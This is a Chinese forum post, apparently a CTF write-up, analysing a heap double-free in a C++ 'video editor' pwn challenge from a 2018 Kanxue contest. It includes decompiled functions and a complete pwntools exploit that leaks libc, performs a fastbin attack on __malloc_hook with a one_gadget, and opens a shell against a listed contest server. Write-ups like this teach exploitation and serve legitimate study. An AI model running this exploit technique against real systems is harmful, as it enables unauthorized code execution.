首页
论坛
课程
招聘
[原创] 京东-看雪-2018-春季赛-第九题- pwn- 羞耻player
2018-7-2 22:17 1401

[原创] 京东-看雪-2018-春季赛-第九题- pwn- 羞耻player

aqs 活跃值
5
2018-7-2 22:17
1401

怎么说,感觉这题目出崩了,攻击方法很简单,leak 一个地址然后直接fastbin attack 就完事了,和题目写的一堆函数不成比例的感觉

功能分析& 漏洞分析

题目给了 二进制 以及 libc, 版本 2.23,保护全开

    Arch:     amd64-64-little   
    RELRO:    Full RELRO        
    Stack:    Canary found      
    NX:       NX enabled        
    PIE:      PIE enabled

先玩一下程序
一开始输入一个name,然后就进入主菜单,一共四个功能

Welcome to KanXue CTF!                
Please enter your Recording Name?     
1

经典的选单程序

1. Add Clip      
2. Edit Clip     
3. Play Clip     
4. Remove Clip

add clip 操作,有四种选择,每一种选择传入的东西不同

1. Video Clip     
2. Audio Clip     
3. Subtitle Clip  
4. Metadata Clip

后面的 edit,play, remove 会根据创建的类型调用对应的函数
先抛开代码怎么实现不说,手动fuzz一下,进行下面的操作直接就崩了

add_video()
edit_video()
delete_video()

这样自己也是比较好定位漏洞,这里报错是double free, 那么可能是 delete 之前 的 add 或者 edit 操作有对内存 free 没有删除指针什么的

*** Error in `./video_Editor': double free or corruption (top): 0x0000555555794530 ***

看看代码吧
main 函数如下, 后面的 内容就是 读取 option 然后进行 add edit 什么的函数调用,主要看 init_1438(); 这个函数

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 name; // rax
  __int64 v4; // rax
  unsigned __int64 op; // [rsp+8h] [rbp-118h]
  char buf; // [rsp+10h] [rbp-110h]
  unsigned __int64 v8; // [rsp+118h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  init_1438();
  name = std::operator<<<std::char_traits<char>>(&std::cout, "Please enter your Recording Name?");
  std::ostream::operator<<(name, &std::endl<char,std::char_traits<char>>);
  read(0, &buf, 0xFFuLL);                       // no overflow
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          menu__();
          op = 0LL;
          std::istream::operator>>(&std::cin, &op);
          if ( op != 2 )
            break;
          edit_1A7C();
        }
        if ( op > 2 )
          break;
        if ( op != 1 )
          goto LABEL_13;
        add_1766();
      }
      if ( op != 3 )
        break;
      play_1B33();
    }
    if ( op != 4 )
      break;
    rm_1BEA();
  }
LABEL_13:                                       // op others
  v4 = std::operator<<<std::char_traits<char>>(&std::cout, "See you next time!!");
  std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
  return 0LL;
}

init_1438() 函数打印开始信息,并调用了一个 rand_heap_12B0 函数,功能上将大概就是申请随机大小的 chunk , 然后 free 掉,这样就会在 heap 上面形成大小不定的 free chunk

unsigned __int64 rand_heap_12B0()
{
  unsigned __int8 v0; // al
  unsigned int buf; // [rsp+4h] [rbp-101Ch]
  int i; // [rsp+8h] [rbp-1018h]
  int fd; // [rsp+Ch] [rbp-1014h]
  void *v5[513]; // [rsp+10h] [rbp-1010h]
  unsigned __int64 v6; // [rsp+1018h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
    exit(1);
  if ( read(fd, &buf, 4uLL) != 4 )
    exit(1);
  close(fd);
  srand(buf);
  for ( i = 0; i <= 255; ++i )
  {                                             // heap 混乱
    v0 = rand();
    v5[i] = (void *)operator new[](v0);
  }
  for ( i = 0; i <= 255; ++i )
  {
    if ( rand() % 3 == 0 )
    {
      if ( v5[i] )
        operator delete[](v5[i]);
    }
    v5[i] = 0LL;
  }
  return __readfsqword(0x28u) ^ v6;
}

看一下 add 函数的实现,根据 option malloc 不同的大小对应不同的类型,之前的漏洞点在 video处理上,这里先看看video

unsigned __int64 add_1766()
{
  unsigned __int64 *v0; // rsi
  _QWORD *v1; // rsi
  __int64 v2; // rax
  _QWORD *v3; // rsi
  __int64 v4; // rax
  struct_p *p; // rbx
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  unsigned __int64 op; // [rsp+0h] [rbp-20h]
  unsigned __int64 v11; // [rsp+8h] [rbp-18h]

  v11 = __readfsqword(0x28u);
  if ( (unsigned __int64)curr_index_224280 > 0x3FFF )
    exit(1);
  sub_1684();
  v0 = &op;
  std::istream::operator>>(&std::cin, &op);
  if ( op == 2 )
  {                                             // audio
    v3 = (_QWORD *)operator new(0x48uLL);       // 大小固定
    memset(v3, 0, 0x48uLL);                     // 清0
    add_audio_pointer_2C74(v3);
    manager_204280[curr_index_224280] = (void (__fastcall ***)(_QWORD, unsigned __int64 *))v3;
    v4 = curr_index_224280++;
    ((void (__fastcall *)(void (__fastcall ***)(_QWORD, unsigned __int64 *)))**manager_204280[v4])(manager_204280[v4]);
  }
  else if ( op > 2 )
  {
    if ( op == 3 )
    {                                           // Subtitle
      if ( subtitle_index_204010 == -1 )
      {
        p = (struct_p *)operator new(0x18uLL);  // 0x18 
        p->qword0 = 0LL;
        p->qword8 = 0LL;
        p->qword10 = 0LL;
        add_subtitle_pointer_2C9E(p);
        manager_204280[curr_index_224280] = (void (__fastcall ***)(_QWORD, unsigned __int64 *))p;
        v6 = curr_index_224280++;
        subtitle_index_204010 = v6;
      }
      (**manager_204280[subtitle_index_204010])(manager_204280[subtitle_index_204010], &op);
    }
    else
    {
      if ( op != 4 )
        goto LABEL_18;                          // Metadata
      if ( metadata_index_204018 == -1 )
      {
        v0 = (unsigned __int64 *)operator new(0x48uLL);// 0x48 size
        memset(v0, 0, 0x48uLL);
        add_metadata_pointer_2CD4(v0, v0, 9LL);
        manager_204280[curr_index_224280] = (void (__fastcall ***)(_QWORD, unsigned __int64 *))v0;
        v7 = curr_index_224280++;
        metadata_index_204018 = v7;
      }
      (**manager_204280[metadata_index_204018])(manager_204280[metadata_index_204018], v0);
    }
  }
  else
  {
    if ( op != 1 )
    {                                           // Video
LABEL_18:
      v8 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong Type!!!");
      std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
      return __readfsqword(0x28u) ^ v11;
    }
    v1 = (_QWORD *)operator new(0x50uLL);       // 0x50 size
    memset(v1, 0, 0x50uLL);
    add_video_pointer_2C4A(v1);
    manager_204280[curr_index_224280] = (void (__fastcall ***)(_QWORD, unsigned __int64 *))v1;
    v2 = curr_index_224280++;
    ((void (__fastcall *)(void (__fastcall ***)(_QWORD, unsigned __int64 *)))**manager_204280[v2])(manager_204280[v2]);
  }
  return __readfsqword(0x28u) ^ v11;
}

video add 操作,

  v1 = (_QWORD *)operator new(0x50uLL);       // 0x50 size
    memset(v1, 0, 0x50uLL);
    add_video_pointer_2C4A(v1);
    manager_204280[curr_index_224280] = (void (__fastcall ***)(_QWORD, unsigned __int64 *))v1;
    v2 = curr_index_224280++;
    ((void (__fastcall *)(void (__fastcall ***)(_QWORD, unsigned __int64 *)))**manager_204280[v2])(manager_204280[v2]);

申请 0x50 大小的chunk,掉哟个 add_video_pointer 这个函数,然后 chunk[0] 的位置保存的是一个指针之类的? 直接调用函数
看一下 add_video_pointer, 自己名字起的比较怪,其实这里就是一个c++ 类,存在继承关系,类似 父类实现虚函数,子类继承多态实现这样,fvideo_203C70 就是 video 自己的函数列表,点进去就可以看到各种类的实现

_QWORD *__fastcall add_video_pointer_2C4A(_QWORD *a1)
{
  _QWORD *result; // rax

  super_2C30(a1);                               // super
  result = a1;
  *a1 = fvideo_203C70;
  return result;
}

各种类参考

.data.rel.ro:0000000000203BD0 ; `vtable for'Metadata
.data.rel.ro:0000000000203BD0 _ZTV8Metadata   dq 0                    ; offset to this
.data.rel.ro:0000000000203BD8                 dq offset _ZTI8Metadata ; `typeinfo for'Metadata
.data.rel.ro:0000000000203BE0 fmeta_203BE0    dq offset meta_add_2A60 ; DATA XREF: add_metadata_pointer_2CD4+18↑o
.data.rel.ro:0000000000203BE8                 dq offset meta_edit_2B26
.data.rel.ro:0000000000203BF0                 dq offset meta_del_2C24
.data.rel.ro:0000000000203BF8                 dq offset meta_show_2BEC
.data.rel.ro:0000000000203C00 ; `vtable for'SubClip
.data.rel.ro:0000000000203C00 _ZTV7SubClip    dq 0                    ; offset to this
.data.rel.ro:0000000000203C08                 dq offset _ZTI7SubClip  ; `typeinfo for'SubClip
.data.rel.ro:0000000000203C10 fsubtitle_203C10 dq offset subtitle_add_26D0
.data.rel.ro:0000000000203C10                                         ; DATA XREF: add_subtitle_pointer_2C9E+18↑o
.data.rel.ro:0000000000203C18                 dq offset subtitle_edit_295A
.data.rel.ro:0000000000203C20                 dq offset subtitle_del_2A28
.data.rel.ro:0000000000203C28                 dq offset subtitle_show_29F0
.data.rel.ro:0000000000203C30 ; `vtable for'AudioClip
.data.rel.ro:0000000000203C30 _ZTV9AudioClip  dq 0                    ; offset to this
.data.rel.ro:0000000000203C38                 dq offset _ZTI9AudioClip ; `typeinfo for'AudioClip
.data.rel.ro:0000000000203C40 faudio_203C40   dq offset audio_add_2308
.data.rel.ro:0000000000203C40                                         ; DATA XREF: add_audio_pointer_2C74+18↑o
.data.rel.ro:0000000000203C48                 dq offset audio_edit_2490
.data.rel.ro:0000000000203C50                 dq offset audio_del_2698
.data.rel.ro:0000000000203C58                 dq offset audio_show_2634
.data.rel.ro:0000000000203C60 ; `vtable for'VideoClip
.data.rel.ro:0000000000203C60 _ZTV9VideoClip  dq 0                    ; offset to this
.data.rel.ro:0000000000203C68                 dq offset _ZTI9VideoClip ; `typeinfo for'VideoClip
.data.rel.ro:0000000000203C70 fvideo_203C70   dq offset video_add_1E98
.data.rel.ro:0000000000203C70                                         ; DATA XREF: add_video_pointer_2C4A+18↑o
.data.rel.ro:0000000000203C78                 dq offset video_edit_2060
.data.rel.ro:0000000000203C80                 dq offset video_del_22D0
.data.rel.ro:0000000000203C88                 dq offset video_show_2244
.data.rel.ro:0000000000203C90 ; `vtable for'Clip
.data.rel.ro:0000000000203C90 _ZTV4Clip       dq 0                    ; offset to this
.data.rel.ro:0000000000203C98                 dq offset _ZTI4Clip     ; `typeinfo for'Clip
.data.rel.ro:0000000000203CA0 ffather_203CA0  dq offset sub_1E68      ; DATA XREF: super_2C30+8↑o
.data.rel.ro:0000000000203CA8                 dq offset sub_1E74
.data.rel.ro:0000000000203CB0                 dq offset sub_1E80
.data.rel.ro:0000000000203CB8                 dq offset sub_1E8C

总之 add 函数就是 分配一块内存,实例化一个video 类,指针放chunk[0] 位置,并调用里面的 add 函数

bool __fastcall video_add_1E98(video_chunk *a1)
{
  bool result; // al

  std::operator<<<std::char_traits<char>>(&std::cout, "Video Resolution : ");
  if ( read(0, &a1->resolution, 8uLL) <= 0 )
    exit(1);
  std::operator<<<std::char_traits<char>>(&std::cout, "FPS : ");
  if ( read(0, &a1->fps, 4uLL) <= 0 )
    exit(1);
  std::operator<<<std::char_traits<char>>(&std::cout, "Number of Frames : ");
  if ( read(0, &a1->frams, 4uLL) <= 0 )
    exit(1);
  if ( a1->frams > 0x400u )
    a1->frams = 1024;
  a1->p2_data = operator new[]((unsigned int)a1->frams);
  if ( !a1->p2_data )
    exit(1);
  std::operator<<<std::char_traits<char>>(&std::cout, "Video Data : ");
  a1->frams = read(0, (void *)a1->p2_data, (unsigned int)a1->frams);
  if ( !a1->frams )
    exit(1);
  memset(&a1->desc, 0, 0x30uLL);
  std::operator<<<std::char_traits<char>>(&std::cout, "Add description : ");
  result = read(0, &a1->desc, 0x2FuLL) <= 0;
  if ( result )
    exit(1);
  return result;
}

一系列的输入,主要关注 a1->frams 的部分,可以根据自己的输入创建<1024 大小的chunk
到这里还没有发现什么问题,那么问题就可能出现在 edit 里面了,看一下

 

edit video

bool __fastcall video_edit_2060(video_chunk *a1)
{
  bool result; // al
  __int64 v2; // [rsp+18h] [rbp-8h]

  std::operator<<<std::char_traits<char>>(&std::cout, "Video Resolution : ");
  if ( read(0, &a1->resolution, 8uLL) <= 0 )
    exit(1);
  std::operator<<<std::char_traits<char>>(&std::cout, "FPS : ");
  if ( read(0, &a1->fps, 4uLL) <= 0 )
    exit(1);
  std::operator<<<std::char_traits<char>>(&std::cout, "Number of Frames : ");
  if ( read(0, &a1->frams, 4uLL) <= 0 )
    exit(1);
  if ( a1->frams > 0x400u )
    a1->frams = 1024;
  v2 = operator new[]((unsigned int)a1->frams);
  if ( !v2 )
    exit(1);
  a1->p2_data = v2;
  if ( a1->p2_data )
    operator delete[]((void *)a1->p2_data);
  std::operator<<<std::char_traits<char>>(&std::cout, "Video Data : ");
  a1->frams = read(0, (void *)a1->p2_data, (unsigned int)a1->frams);
  if ( !a1->frams )
    exit(1);
  memset(&a1->desc, 0, 0x30uLL);
  std::operator<<<std::char_traits<char>>(&std::cout, "Edit description : ");
  result = read(0, &a1->desc, 0x2FuLL) <= 0;
  if ( result )
    exit(1);
  return result;
}

edit video 实现和 add 差不多,主要关注下面这个部分

  if ( a1->frams > 0x400u )
    a1->frams = 1024;
  v2 = operator new[]((unsigned int)a1->frams);
  a1->p2_data = v2;
  if ( a1->p2_data )
    operator delete[]((void *)a1->p2_data);

根据输入的 frams 重新分配内存,写指针,然后 直接delete 掉???
一般应该是 先delete 然后再 赋值吧,可能写反了,,

 

到了这里思路就清晰了,edit 的时候把分配的内存直接delete 掉了,这样调用 delete_video 就会double free 了

漏洞利用

漏洞利用很简单,也就是文章开头说的,leak 一个内存直接fastbin attack 就完事了,但是因为初始化的时候加上了很多 大小不定的 free chunk, 所以需要处理一下
具体操作如下

add_video(0x400) # 0x400 指frame大小,将fastbin 清空
# 获取一个 data size == 0x10 的video, 并且得到一个 大小 0x71 的chunk A
add_video(0x10)
edit_video(0x60,'\x00'*0x10) 
# 将 free chunk A 放到 bins 里面,这样就可以在里面获取一个 smallbin 地址
add_video(0x400) 
play() # leak 地址
# overwrite fastbin fd
edit_video(0x60,p64(malloc_hook-0x23))
# fastbin attack
add_video(0x68,'k'*0x8)
add_video(0x68,payload)

完整 exp 如下

#coding:utf-8
from pwn import *
import sys
import time

file_addr='./video_Editor'
libc_addr='./libc.so.6'
host='139.199.99.130'
port=8989

p=process('./video_Editor',env={'LD_PRELOAD':'./libc.so.6'})
context.log_level='debug'
if len(sys.argv)==2:
    p=remote(host,port)



def sendname(name):
    p.sendlineafter("Recording Name?",name)

def menu(op):
    p.sendlineafter(">>>",str(op))

def submenu(op):
    p.sendlineafter(">>>",str(op))



def add_video(res,fps,size,data,desc):
    menu(1)
    submenu(1)
    p.sendlineafter('Resolution :',res)
    p.sendlineafter('FPS :',fps)
    p.sendafter('Frames :',p32(size))
    time.sleep(0.1)
    p.sendafter('Video Data :',data)
    time.sleep(0.1)
    p.sendlineafter('Add description :',desc)


def edit_video(index,res,fps,size,data,desc):
    menu(2)
    p.sendlineafter('index :',str(index))
    p.sendlineafter('Resolution :',res)
    p.sendlineafter('FPS :',fps)
    p.sendafter('Frames :',p32(size))
    time.sleep(0.1)
    p.sendafter('Video Data :',data)
    time.sleep(0.1)
    p.sendlineafter('description :',desc)



def play_clip(index):
    menu(3)
    p.sendlineafter('Enter index : ',str(index))


sendname('aqs')

add_video('0','0',0x400,'z'*0x8,'0'*0x10)
add_video('0','0',0x10,'z'*0x8,'1'*0x10)
edit_video(1,'0','0',0x60,'\x00'*0x10,'1'*0x10)

add_video('0','0',0x400,'z'*0x8,'2'*0x10)

play_clip(1)
p.recvuntil('...\n')
p.recv(8)
leak=p.recv(6)
test=''
for i in leak:
    test+=chr(ord(i)^0xcc)
leak=u64(test.ljust(8,'\x00'))
malloc_hook=(leak&0xffffffffffffff00)+0x10
libc_base=malloc_hook-0x00000000003c4b10
one_gadget=libc_base+0x4526a
p.info('leak '+hex(leak))
p.info('malloc_hook '+hex(malloc_hook))
p.info('libc_base '+hex(libc_base))
p.info('one_gadget '+hex(one_gadget))

# over wirte fd
edit_video(1,'0','0',0x60,p64(malloc_hook-0x23),'1'*0x10)
# fast bin attack 2 one_gadget
add_video('0','0',0x68,'k'*0x8,'3'*0x10)
payload='o'*3
payload+=p64(one_gadget)*3
add_video('0','0',0x68,payload,'3'*0x10)

# trigger one_gadget
p.sendline('1')
p.sendline('1')

raw_input('aaaa')
p.interactive()

估计不是作者愿意吧。。。 不过也懒得去分析其他的地方,毕竟只是一道题目:P


看雪学院推出的专业资质证书《看雪安卓应用安全能力认证 v1.0》(中级和高级)!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回